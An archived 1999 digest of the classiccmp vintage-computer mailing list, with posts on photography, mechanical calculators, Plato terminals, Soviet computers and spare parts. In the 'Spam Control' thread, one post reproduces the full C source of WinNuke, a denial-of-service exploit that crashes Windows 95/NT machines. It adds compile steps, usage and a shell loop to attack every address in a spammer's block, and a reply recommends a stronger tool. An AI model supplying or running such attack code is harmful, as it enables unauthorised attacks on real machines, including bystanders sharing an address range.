> So, a picture taken at f16 (smallest apature) at 8 (1/8 second shutter > speed) will let in the same amount of light as f11 at 15, f8 at 30, [...] > Now, what's the difference between f16/8 and f1.4/1000? > Field of focus, or that part of the picture that is sharply in focus. That's the most obvious difference, and the only one you'd need to consider for a static subject with a camera on a tripod, at "normal" shutter speeds. As Tony pointed out, a moving subject will be subject to greater blurring at slow shutter speeds. For a hand-held camera, there will also be some evidence of blurring due to the unsteadiness of the operator; for a normal 35mm SLR in competent hands you'll typically start to see this at speeds below 1/125s. As Tony(?) also mentioned, at *really* small apertures (f/22 or smaller) the definition falls off, even though the depth of field increases. There is another difference, of particular importance to colour film, due to what's know as "reciprocity failure". At very short and very long exposures, the "double the aperture, double the speed" rule breaks down, and you find that you need longer exposures than you might expect (because of the particulate nature of the film emulsion, and the activation energy of the silver halides and dye sensitisers in it). For B/W film, that just means it seems slower outside the normal shutter speed range. Astronomers are well aware of this, for exposures of a minute or so, speed can easily drop by a factor of 2. Worse still, colour film is actually made up of three or more layers (typically 6 layers, plus a dye layer), and they aren't all the same. Although they're balanced for "normal" eposures, reciprocity failure begins to show itself at different times for the different layers. The effect is that colour balance can be wildly different at very short or very long exposure times. > Also, film is more sensative to light than paper is (about an order of > magnitude). Indoor light is cooler (redder) than outdoor light (bluer) and > there, you can balance the colors either in the film (special film for > indoor use), filters on the camera (let's see if I remember here---a red > filter for indoor use will cut down the reds and let more blue through, thus > increasing the tempurature of the scene if you ahve outdoor film and are > trying to use it indoors) or during the print processing.. Also, ordinary B/W film is "panchromatic" -- sensitive to most of the visible colour range (and also to UV, which is why most professionals tend to put a UV or "skylight" filter on every lens as a matter of course). Paper and process film is usually "orthochromatic" -- insensitive to reds -- or "blue-sensitive", which is why darkroom safelights are usually yellow. By "indoor light" I assume you mean tungsten lighting? Yes, it's redder, but you need a *blue* filter to compensate, if you're using "daylight" film (which is what most ordinary colour film is). These filters usually have a filter-factor of about 2 to 4, ie they cut the effective speed of the film by between 2 times and 4 times. -- Pete Peter Turnbull Dept. of Computer Science University of York From geoffrob at stmarks.pp.catholic.edu.au Sat Jan 30 09:22:04 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:40 2005 Subject: HP Keyboard and cable In-Reply-To: <5518FE2C95E6D111B1A500104B72113B0AE688@alfexc8.alf.dec.com> Message-ID: <199901301422.GAA02939@mxu2.u.washington.edu> > Date: Tue, 26 Jan 1999 12:56:41 -0500 > Reply-to: classiccmp@u.washington.edu > From: Anthony Eros > To: "Discussion re-collecting of classic computers" > > Subject: RE: HP Keyboard and cable > X-To: "'classiccmp@u.washington.edu'" > I recently acquired a DG Aviion 410 minus keyboard and mouse. Does anyone > have leads on tracking these items down? A standard pc keyboard worked on mine. The mouse is (I think) the same as a Sun w/s, but I haven't yet got one to prove it... Cheers Geoff Roberts Computer Room Internet Cafe Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia geoffrob@stmarks.pp.catholic.edu.au (0411)623-978 Mobile (08)8633-0619 Home (08)8633-0104 Fax From dpeschel at u.washington.edu Sat Jan 30 08:25:14 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:40 2005 Subject: electromechanical calculator In-Reply-To: from "Jgzabol@aol.com" at Jan 30, 99 08:03:13 am Message-ID: <199901301425.GAA30225@saul7.u.washington.edu> This is a borderline off-topic area, since there are other mailing lists for the purpose. Also, mechanical calculators are certainly computers, but they're special-purpose and nonprogrammable. But I might as well spread useful information. If you reply, please concentrate on URL's and other pointers to information. See my plea at the end about electronic calculators. I consider electronic calculators on-topic since most of them are small computers (in the modern sense) even if they can't always be reprogrammed. > Today I run into a Monroe CAA-10 electromechanical calculator, > totally accidentally and unplanned. I am not in electromechanical > devices, but it looked nice, so I bought it for approx. US$60. Congratulations. I found one made by Marchant (which is currently being fixed). > Question: Is this in any way rare or significant, or is it something > where everybody has already 10 pieces of ? I don't know. The history of "how many of this type of thing are around, and how much are they worth?" is different for calculators versus computers. You may have trouble finding a duplicate of a particular model -- often, companies produced a huge number of variations (in color and style and complexity). Of course that was partly because of technological advances, but it was also driven by marketing, I'm sure. On the other hand, finding someone who has a machine more-or-less like yours is more straightforward. There are calculator-collecting lists out there, for both mechanical and early electronic calculators. I'm tempted not to say this... calculator collecting so far has been a very quiet hobby. (I hope it stays that way!) That doesn't mean things are cheap, or that you can always find what you want. But the list I'm on has very light traffic and a very high S/N ratio. The Web sites I've seen are informative and rather "gentlemanly". Use of eBay doesn't seem to be encouraged. > Does anyone know the manufacturing period ? There is no date on the machine, > but the style impresses me as definitely 50-ish. Then the manufacturing period is probably the '50s or early '60s. OK, I'm a total novice and I could be wrong. But my machine from 1940 does NOT look like it was made in the '50s. Machines made before the '40s definitely look old. And by the mid-to-late '60s and early '70s, the style and technology had changed again. This is partly because of refinements, but also, mechanical technology had to fight against the new (and increasingly popular) electronic machines. Here are some URL's from my bookmark file:
  • Collecting Mechanical Calculators - Articles
  • Olivetti Programma 101
  • Marchant Silent Speed
  • Marchant ads
  • Calculator Net The first is good for ordering manuals for your machine. Also see the CALCLIST-L mailing list. Send mail to LISTSERV@TECHUNIX.TECHNION.AC.IL with these commands in the message body: subscribe calclist-l set calclist-l ack norepro The last command is optional -- it confirms your messages but does not send copies back to you. Now... to bring this message back ON-TOPIC, can anyone suggest some URL's or a mailing list for collectors of _electronic_ calculators? I already know about the MOSCOW site, but others might not. And I'm sure there are other interesting resources out there! -- Derek From adavie at mad.scientist.com Sat Jan 30 08:29:57 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:40 2005 Subject: electromechanical calculator In-Reply-To: <199901301425.GAA30225@saul7.u.washington.edu> Message-ID: <001801be4c5d$02ae4f00$52f438cb@a.davie> > Now... to bring this message back ON-TOPIC, can anyone suggest some URL's > or a mailing list for collectors of _electronic_ calculators? I already > know about the MOSCOW site, but others might not. And I'm sure there are > other interesting resources out there! The International Association of Calculator Collectors resides at http://www.oldcalcs.com/ There IS an electronic calculator mailing list... ecalc@lists.heydon.org To UNsubscribe from this list, here are the instructions If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe ecalc So I think it's probably fairly obvious how to subscribe. And of course, MOSCOW... http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ;) A From jrkeys at concentric.net Sat Jan 30 09:51:26 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:40 2005 Subject: interesting book In-Reply-To: <199901292259.QAA07806@thorin.cs.umn.edu> Message-ID: <000401be4c68$64fc03e0$89b0adce@5x86jk> Talk about strange things I just purchased the same book Friday for 10 cent at the thrift here. So it was a good buy after all. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Lawrence LeMay > Sent: Friday, January 29, 1999 4:59 PM > To: Discussion re-collecting of classic computers > Subject: interesting book > > > Well well, people throw out the darndest things.. > > I found a copy of a book by someone named Peter Norton. Looks to > me like it > may have been his first book. Called 'inside the IBM PC'. > > His 2 test systems for developing the book were: > > IBM/PC with 64K standard memory and 512K on a jumbo memory board that > he bought as a lark. The jumbo board is populated with 64K chips. > he mentions tha this board does provide astonishing improvement in > his Pascal programs.. (Duh!). Monochrome monitor. > > Second system has a Amdek color II monitor, 128K of true blue IBM memory, > twin Tandon TM 100-2 diskette drives, and the standard color graphics > adapter. > > Oh yeah, he mentions that he uses teh Jumbo card to simulate a 360K > virtual diskette drive ;) > > He disassembles roms, disusses bios calls, and explains how the cassette > tape interface works, among other things. Personally, I think this > guy could go far... > > -Lawrence LeMay > From brett at xnet.com Sat Jan 30 10:28:57 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:40 2005 Subject: Z3 builders Message-ID: I was wandering around the net and found - 4PDT relays with sockets. Price - $2.00 - 24DC coils. Email me to get some while thier hot - er - available 8-) Wasn't it you Derek? BC From jax at tvec.net Sat Jan 30 10:44:17 1999 From: jax at tvec.net (jax) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! - Spam Control In-Reply-To: References: <199901300158.RAA12868@oa.ptloma.edu> Message-ID: <3.0.6.32.19990130104417.0079f2e0@pop.tvec.net> Will pass on a particularly evil bit of code for those that despise mass-marketing spammers.... This is not mine, I ran into it through the "reverse engineering" crowd. Yes, it has been said that I have little patience. Find, Fix, Destroy. ------- Snip ------------- _How to Nuke spammers__ a nice fine c program (Winnuke) by _eci... listing at the end of this section How to use WinNuke to get rid of spammers winnuke.c is a program which will crash any Windows 95/NT machine. Since this operating system is popular among spammers, winnuke makes it easy to get rid of them. First, take the program code from the bottom of this post (everything after the ---Cut Here--- line) and save it to a text file called winnuke.c on your shell account or Linux box. Now compile it by typing: gcc winnuke.c -o winnuke If you have SunOS, you may need to use this command instead: gcc winnuke.c -lsocket -lnsl -o winnuke You should now have an executable program called winnuke in your directory. Now find the spammer's IP number. This is the first IP number in the mail headers which is not your mail server or mail relay. Once you have the spammer's IP number (eg 192.168.12.109) type: ./winnuke 192.168.12.109 except use the spammer's real IP number that you found. You should see something like the following: % ./winnuke 192.168.12.109 Connected to [192.168.12.109:139]. Sending crash... Done! % Congratulations! You just nuked a spammer! Give yourself a pat on the back. You can ping the IP address to verify that it is actually down. If it doesn't work... Unfortunately a few spammers don't have just one IP address but a whole block (255 addresses) In this case you will need to nuke the entire block. To do this, use this script: #!/bin/csh @ number = 255 loop: @ number = $number - 1 ./winnuke 205.199.212.$number & #sleep 1 if ($number > 1) then goto loop endif Except you should use the first three bytes of the spammer's IP number instead of 205.199.212. If your net connection is too slow, uncomment the sleep command (line 6) and that will slow it down so it can get all the packets out. That's it... ---Cut Here--- /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) <0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)="=-1)" { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc !="2)" { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(500000); printf("Done!\n"); close(s); } jax@tvec.net From KFergason at aol.com Sat Jan 30 10:54:32 1999 From: KFergason at aol.com (KFergason@aol.com) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! - Spam Control Message-ID: In a message dated 1/30/99 10:45:17 AM Central Standard Time, jax@tvec.net writes: > Will pass on a particularly evil bit of code for those that despise > mass-marketing spammers.... > > ------- Snip ------------- > > _How to Nuke spammers__ > Something this useful just has to be illegal. or fattening. ob classiccmp: does anyone know of a (cheap) source for bernoulli cartridges? I have snarfed a 90 transportable from work that was being tossed, and I like it. The zips and sparq's, jaz's, etc, they all seem, well, flimsy. This guy's a tank. Also, does anyone need any 20Mb bernoulli cartridges? I have a bunch. Kelly From enigma at intop.net Sat Jan 30 11:04:20 1999 From: enigma at intop.net (J.S. Havard) Date: Sun Feb 27 18:40:40 2005 Subject: Honeywell DPS 6 Hard drives Message-ID: I have a Honeywell DPS 6, nice computer, really, but I've got a problem. There is one of these weird fixed disk/removable cartridge drives (yes that is a fixed disk and removable cartridge in one) that has a broken belt that runs between the drive spindle and the motor. It is this weird small v-belt. There is also this large hard drive in another cabinet that connects to the thing using DB37 connectors, IIRC. I'm not sure of how to connect it to the computer, nor do I have the cables. I do know the box runs GCOS6, which from what I hear is a cross between GCOS and Unix. Hooray for me, if I can get it working. Although it is supposedly not y2k compliant, but I think that is just a ploy so Bull can get you to spend money on an upgrade. :-) Any hints or tips or free belts for that thing, or places to get belts for that thing, would be appreciated. Any help on running GCOS6 would be nice, as in how do I get the super user account on it? How do I add users, etc. On a different note, I may start a list for buying and selling old computer stuff, everything but PCs, pretty soon, if interest is good enough. Please email me personally at "enigma@intop.net" if you would like to see something like that. Regards, J.S. Havard From svs at ropnet.ru Sat Jan 30 11:12:21 1999 From: svs at ropnet.ru (Sergey Svishchev) Date: Sun Feb 27 18:40:40 2005 Subject: "System Software for Soviet Computers" and more... Message-ID: <19990130201221.22210@firepower> G'day, This publication may be of interest to those willing to collect Soviet computers (I never saw it, just found a reference to it in .) 74. Wegner, Peter, J. Nestor, E. Schonberg, S. Smoliar, P.J. Weinberger, G. Wiederhold, and P. Wolcott: System Software for Soviet Computers; FASAC Technical Assessment Report, Science Applications International Corporation, McLean VA, August 1989. Another possible source of information: Charles Babbage Institute of Computer History, National Bureau of Standards collection: * ---. Soviet Cybernetics Technology: I. Soviet Cybernetics, 1959- 1962, 1963 Jun. NBS #: 6303048. * ---. Soviet Cybernetics Technology: II. General Characteristics of Several Soviet Computers, 1963 Aug. NBS #: 6303052. * ---. Soviet Cybernetics Technology: III, Programming Elements of the BESM, STRELA, URAL, M-3, and KIEV Computers, 1963 Sep. NBS #: 6326275. * ---. Soviet Cybernetics Technology: V. Soviet Process Control Computers, 1965 Nov. NBS #: 6526276. More: Chip in the Curtain - Computer Technology in the Soviet Union (1989) Parallel Processing Research in the Former Soviet Union. (1992) "History Computer Science Books" (images of early Soviet computers are linked from this page) A remake of Tetris, with look-n-feel of original version. "Tetris" for the MK-85 calculator. "Early days of Internet in Russia" (I know of an ES-1010 that to this day runs MISS.) Some user documentation on Besta-88. Reportedly, Linux and NetBSD were ported to this machine. A piece of folklore about ES-10xx series of machines. These are "almost, but not quite, entirely different" :-) clones of IBM 360 series, except ES-1010, which is a clone of Mitra 225, and emulates IBM 360 instruction set in software (if need arises). These are FidoNet echomail conferences, bidirectionally gatewayed to Usenet. See for details. -- Sergey Svishchev -- svs{at}ropnet{dot}ru From ckaiser at oa.ptloma.edu Sat Jan 30 12:05:08 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal In-Reply-To: <01be4c2a$ed21b820$f17d38cb@netcafe.pirie.mtx.net.au> from "Geoff Roberts" at Jan 30, 99 07:01:26 pm Message-ID: <199901301805.KAA04422@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 769 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/eff1b10f/attachment.ksh From dastar at ncal.verio.com Sat Jan 30 12:00:21 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:40 2005 Subject: Old Notebooks In-Reply-To: <000201be4bfc$2336fa80$0100a8c0@chandrab.ne.mediaone.net> Message-ID: On Fri, 29 Jan 1999, Chandra Bajpai wrote: > I new to the list and recently decided to persue my 'new' old hobby. > I was wondering if anyone has any of these old systems: > > Gavilian > Fortune 32:16 > Momenta > Anything with the Go OS Yes. > I'm fortunate to have an old Go OS system...an IBM Thinkpad. Stupidly > several years ago let a friend throw away the entire Go documentation set as > well as SDK. About the same time I threw away one of the first notebooks > made - an old Bondwell 8088 machine (mid-80's it was a real clunker of a > machine)...my Mom wouldn't let me keep it due to space constraints....it > went along with all my Creative Computer and Interface age issues! It pains > me to think about all that stuff (including all the prototype systems I had, > some which were never sold). I didn't know...honest. The magazines are replaceable but what prototypes did you throw out? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From DSEAGRAV at toad.xkl.com Sat Jan 30 12:24:50 1999 From: DSEAGRAV at toad.xkl.com (Daniel A. Seagraves) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! - Spam Control In-Reply-To: Message-ID: <13424071081.9.DSEAGRAV@toad.xkl.com> A better version of this called Targa is available - use it instead., ------- From msg at waste.org Sat Jan 30 12:20:33 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal References: <4.1.19990129214104.033599e0@office.ao.com> Message-ID: <36B34D71.3D3A8DBA@waste.org> Gary Oliver wrote: > > The manuals I have are: > > UM607 - DigiVue User Manual 512-60 Display D141 > MM608 - DigiVue Maintenance Manual 512-60 Display D141 > UM609 - DigiVue User Manual 512-60 Power Pack S159 / S205 > MM610 - DigiVue Maintenance Manual 512-60 Power Pack S159 / S205 > Yes, you are describing the Digivue OEM display panel used in the early Plato terminals asof the entry by CDC into Plato development (ca. 1967-68). Please consider copies of the above manual sets for our museum; we have one Digivue display and insufficient documentation. Thanks much, Michael Grigoni Cybertheque Museum From dastar at ncal.verio.com Sat Jan 30 12:27:12 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:40 2005 Subject: interesting book In-Reply-To: Message-ID: On Sat, 30 Jan 1999, Doug Spence wrote: > "Videotex: The New Television/Telephone Information Services" by R. > Woolfe, 1980. This one looks like interesting reading. Quite a few > colour photos from Prestel. A bit of a moral dilemma, though, as the > book appears to have been taken out of a (non-local) university library > in 1991 and not returned. I wouldn't have a moral fit over this one. It was more than likely discarded by the university because of its stale content. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From msg at waste.org Sat Jan 30 12:25:33 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal References: Message-ID: <36B34E9C.B052752@waste.org> Don Maslin wrote: > Are you thinking of the CDC 110 that used 8" disks and ran CP/M and also > Plato stuff? I have the CP/M disks for one. > - don Would you consider dup'ing your CP/M disks for the 110 please? We have a lot of courseware but no complete CP/M distribution (this is not a fatal condition of course since one could build a set of tools from other CP/M boxes, but having the original set would be very useful). We could send you media if you prefer. Michael Grigoni Cybertheque Museum From msg at waste.org Sat Jan 30 12:31:25 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:40 2005 Subject: Old Notebooks References: <000001be4c49$9d219560$0100a8c0@chandrab.ne.mediaone.net> Message-ID: <36B34FFD.85C88C31@waste.org> Chandra Bajpai wrote: > > What the history/specs behind the Fortune 32:16....I remember reading an > article years ago that they burned through a lot of VC money and produced > few machines. I think they competed against the Victor 9000. > > -Chandra Fortune produced the first viable and marketable BSD-ish/SysIII/V7 Unix micro of any importance; it was embraced by developers like Tandy (Filepro/Profile) and I've seen it installed serving many terminals in Gov't agencies, Universities, etc. The machine entered this world running on an MC68000 at 5MHz (IIRC) and a hard disk was optional. Dates ca. 1982 although most machines I've seen had internal datecodes of 1984. See the Datapro report for much more details. Michael Grigoni Cybertheque Museum From msg at waste.org Sat Jan 30 12:38:26 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator References: <199901301425.GAA30225@saul7.u.washington.edu> Message-ID: <36B351A2.A5E01DFC@waste.org> Derek Peschel wrote: > > This is a borderline off-topic area, since there are other mailing lists for > the purpose. Also, mechanical calculators are certainly computers, but > they're special-purpose and nonprogrammable. But I might as well spread > useful information. I'd hate to see discrimination in computing technology pervade this list. Many electromechanical systems are programmable and we have a number in our collection. History will note the AT&T relay systems, the Zuse machines, Harvard MK I and descendants and many many others. Many electromechanical accounting machines are programmable within the constraints of the commonly accepted definition of computors and data processing equipment and some even have combined program and data stores (although not VonNeumann). Inquiries regarding something which appears to be more than just a desk calculator shouldn't be discouraged here (I would hope). Michael Grigoni Cybertheque Museum From msg at waste.org Sat Jan 30 12:44:10 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:41 2005 Subject: Daily Laugh! - Spam Control References: Message-ID: <36B352F9.8D1556DC@waste.org> KFergason@aol.com wrote: > Also, does anyone need any 20Mb bernoulli cartridges? I have a bunch. > We could use the 20MB carts; BTW does anyone have access to parts or complete B20H 1/2ht 5 1/4in internal Bernoulli and PC2 "Combo Interface" cards (a full-length card with both SCSI and Analog Bernoulli I/F headers at the top of it)? Our's was damaged when a display shelf collapsed and we've been searching for replacements. Michael Grigoni Cybertheque Museum From dastar at ncal.verio.com Sat Jan 30 13:00:11 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: <199901301425.GAA30225@saul7.u.washington.edu> Message-ID: On Sat, 30 Jan 1999, Derek Peschel wrote: > Now... to bring this message back ON-TOPIC, can anyone suggest some URL's > or a mailing list for collectors of _electronic_ calculators? I already > know about the MOSCOW site, but others might not. And I'm sure there are > other interesting resources out there! There are a few at the bottom of the VCF links page: http://www.vintage.org/vcf/vcflinks.htm Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From healyzh at aracnet.com Sat Jan 30 13:11:36 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:41 2005 Subject: Honeywell DPS 6 Hard drives In-Reply-To: Message-ID: >I do know the box runs GCOS6, which from what I hear is a cross between >GCOS and Unix. Hooray for me, if I can get it working. Although it is >supposedly not y2k compliant, but I think that is just a ploy so Bull can >get you to spend money on an upgrade. :-) > >Any hints or tips or free belts for that thing, or places to get belts for >that thing, would be appreciated. Any help on running GCOS6 would be >nice, as in how do I get the super user account on it? How do I add >users, etc. Bear in mind the memory is seriously rusty, and while I had quite a bit of experience with GCOS-8, I only used GCOS-6 for about two months total spread over 4 years. GCOS-8, and IIRC GCOS-6, is nothing like UNIX. On GCOS-8 the administrator accounts were simply accounts with extra permissions, I don't know that there was an actual "Super User" account. If there was anything that could be considered that it would be the "System Operators Console". Administrator accounts were cool as we could change our password to what WE wanted, not some random string (yeh, yeh, security and all that). No hardware tips, I never touched the things. I do remember the Tape drives for the DPS-6 being a problem, but that might have been the particular model we had. As for parts, I'd recommend checking Navy Surplus. Don't rememeber what it would be called, something like DRMO. The Navy used a LOT of Honeywell DPS-6 hardware, in fact the whole military used a lot of Honeywell hardware. Unfortunatly the odds are that all this hardware has been melted down for razor blades by now. On a simular note, if anyone knows were I can get one of the Honeywell/Macintosh hybrids that was build for the Military, I'd love one. They were based on the Mac II, and the one I used was based on a Mac IIfx. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From wirehead at retrocomputing.com Sat Jan 30 13:20:41 1999 From: wirehead at retrocomputing.com (Anthony Clifton - Wirehead) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: <36B351A2.A5E01DFC@waste.org> References: <199901301425.GAA30225@saul7.u.washington.edu> Message-ID: >Derek Peschel wrote: >> >> This is a borderline off-topic area, since there are other mailing lists for >> the purpose. Also, mechanical calculators are certainly computers, but >> they're special-purpose and nonprogrammable. But I might as well spread >> useful information. > >I'd hate to see discrimination in computing technology pervade this >list. > >Many electromechanical systems are programmable and we have a number >in our collection. History will note the AT&T relay systems, the Zuse >machines, Harvard MK I and descendants and many many others. > I've often thought it would be fun to collect old telephone company equipment, like chunks of crossbar and step-by-step switches, early ESS switches and so on. My fantasy is to acquire the equipment from a small rural exchange that was upgraded, get it set up and run an actual non-connected telephone exchange in my basement. But the power requirements are bizarre and that equipment never seems to surface anyplace I can find it. The ESS switches, like the 1A and so on, are VERY computer-like. Anthony Clifton - Wirehead From kyrrin at bluefeathertech.com Sat Jan 30 13:39:04 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:41 2005 Subject: Daily Laugh crap Message-ID: <3.0.5.32.19990130113904.00930520@mail.bluefeathertech.com> The Daily Laugh spam originated from the domain virgin.net, which is hosted by cableol.net, a UK-based ISP. I have sent a formal request to cableol.net to curb their customer. Based on the very tough stance against spam that most UK ISPs seem to take, I don't think we'll be hearing anything more from virgin.net. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com Amateur Radio:(WD6EOS) E-mail: kyrrin@bluefeathertech.com SysOp: The Dragon's Cave (Fido 1:343/272, 253-639-9905) "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From go at ao.com Sat Jan 30 13:42:11 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:41 2005 Subject: Plato terminal In-Reply-To: <36B34D71.3D3A8DBA@waste.org> References: <4.1.19990129214104.033599e0@office.ao.com> Message-ID: <4.1.19990130113347.034bc3b0@office.ao.com> Michael: I will be happy to help. Give me a week or two (the maint manuals have LOTS of schematics in double page format and I don't want to wreck the manuals getting them copied. You need to get me info on how to send them to you. Your email address is in MN, so I presume you are in the states? I'm sending the reply to the list in case there are others that are interested in getting copies. I'll probably shoot off several copies just in case, so I'll know what they cost. I'll be happy to donate the copies to any museum, but if anyone else is interested, I'd gladly exchange (privately) the cost and we can work something out. I'm definitely not into getting money for this, but perhaps we can trade some docs that I need (no I don't have a ready list, but anything related to pre-1960 computer technical info is DEFINITELY interesting.) Email me if you are interested. Gary At 12:20 PM 1/30/99 -0600, you wrote: >Gary Oliver wrote: >> >> The manuals I have are: >> >> UM607 - DigiVue User Manual 512-60 Display D141 >> MM608 - DigiVue Maintenance Manual 512-60 Display D141 >> UM609 - DigiVue User Manual 512-60 Power Pack S159 / S205 >> MM610 - DigiVue Maintenance Manual 512-60 Power Pack S159 / S205 >> > >Yes, you are describing the Digivue OEM display panel used in the >early Plato terminals asof the entry by CDC into Plato development >(ca. 1967-68). > >Please consider copies of the above manual sets for our museum; >we have one Digivue display and insufficient documentation. > >Thanks much, > >Michael Grigoni >Cybertheque Museum From museum at techniche.com Sat Jan 30 14:25:36 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:40:41 2005 Subject: Kennedy tape drive part Message-ID: <199901302025.PAA19600@chmls06.mediaone.net> If any of you have Kennedy tape drives this might interest you. I was at the local Junk store this morning and found a box full of the rubber o-rings that are used on the Tape reel retaining latch (both reels). I bought a couple and compared them to my originals and they appear to be exactly the same. They are in good condition, still flexible and supple. No dryness or cracking. If anyone wants me to pick up any let me know. They're 50 cents apiece plus shipping, which shouldn't be much. There were quite a few so I don't think that supply is a problem. Let me know soon. Jon From ard at p850ug1.demon.co.uk Sat Jan 30 12:58:21 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: photographing olf computers/parts In-Reply-To: from "Fred Cisin" at Jan 29, 99 06:55:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1023 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/27c9f2ae/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 30 13:04:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: Plato terminal In-Reply-To: <199901300346.VAA08066@thorin.cs.umn.edu> from "Lawrence LeMay" at Jan 29, 99 09:46:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1674 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/3b63a0a5/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 30 12:51:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: Handicapping competitions In-Reply-To: <199901300738.CAA27154@smtp.interlog.com> from "Lawrence Walker" at Jan 30, 99 02:39:34 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 935 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/dd407af9/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 30 13:18:57 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: TI99: WP and PC In-Reply-To: from "Sam Ismail" at Jan 29, 99 08:44:51 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1784 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/a6527491/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 30 12:53:22 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: interesting book In-Reply-To: <199901300245.UAA08033@thorin.cs.umn.edu> from "Lawrence LeMay" at Jan 29, 99 08:45:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 680 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/fff60fb8/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 30 13:26:53 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:41 2005 Subject: electromechanical calculator In-Reply-To: from "Jgzabol@aol.com" 